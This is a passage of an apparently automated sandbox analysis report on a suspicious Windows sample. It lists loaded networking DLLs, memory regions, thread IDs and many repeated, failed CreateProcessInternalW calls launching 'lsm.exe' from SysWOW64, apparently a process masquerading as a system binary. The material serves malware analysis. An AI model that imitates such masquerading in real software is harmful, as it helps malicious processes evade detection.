(normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2329 start_va = 0x28f0000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 2330 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2331 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3478 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3479 start_va = 0x62f0000 end_va = 0x64fffff entry_point = 0x0 region_type = private name = "private_0x00000000062f0000" filename = "" Thread: id = 108 os_tid = 0xa38 Thread: id = 109 os_tid = 0x67c Thread: id = 110 os_tid = 0x7e8 Thread: id = 111 os_tid = 0x6dc Thread: id = 112 os_tid = 0x328 Thread: id = 113 os_tid = 0x69c Thread: id = 114 os_tid = 0x5fc Thread: id = 115 os_tid = 0x5ec Thread: id = 116 os_tid = 0x5c0 Thread: id = 117 os_tid = 0x774 Thread: id = 118 os_tid = 0x698 Thread: id = 119 os_tid = 0x688 Thread: id = 120 os_tid = 0x674 Thread: id = 121 os_tid = 0x67c Thread: id = 122 os_tid = 0x5b8 Thread: id = 123 os_tid = 0x5ac Thread: id = 124 os_tid = 0x58c Thread: id = 125 os_tid = 0x588 Thread: id = 126 os_tid = 0x574 Thread: id = 127 os_tid = 0x568 Thread: id = 128 os_tid = 0x558 Thread: id = 129 os_tid = 0x554 Thread: id = 130 os_tid = 0x550 Thread: id = 131 os_tid = 0x514 Thread: id = 132 os_tid = 0x4b0 Thread: id = 133 os_tid = 0x4a4 Thread: id = 134 os_tid = 0x494 Thread: id = 135 os_tid = 0x490 Thread: id = 136 os_tid = 0x48c Thread: id = 137 os_tid = 0x46c Thread: id = 138 os_tid = 0x464 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.341] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.342] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.343] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, 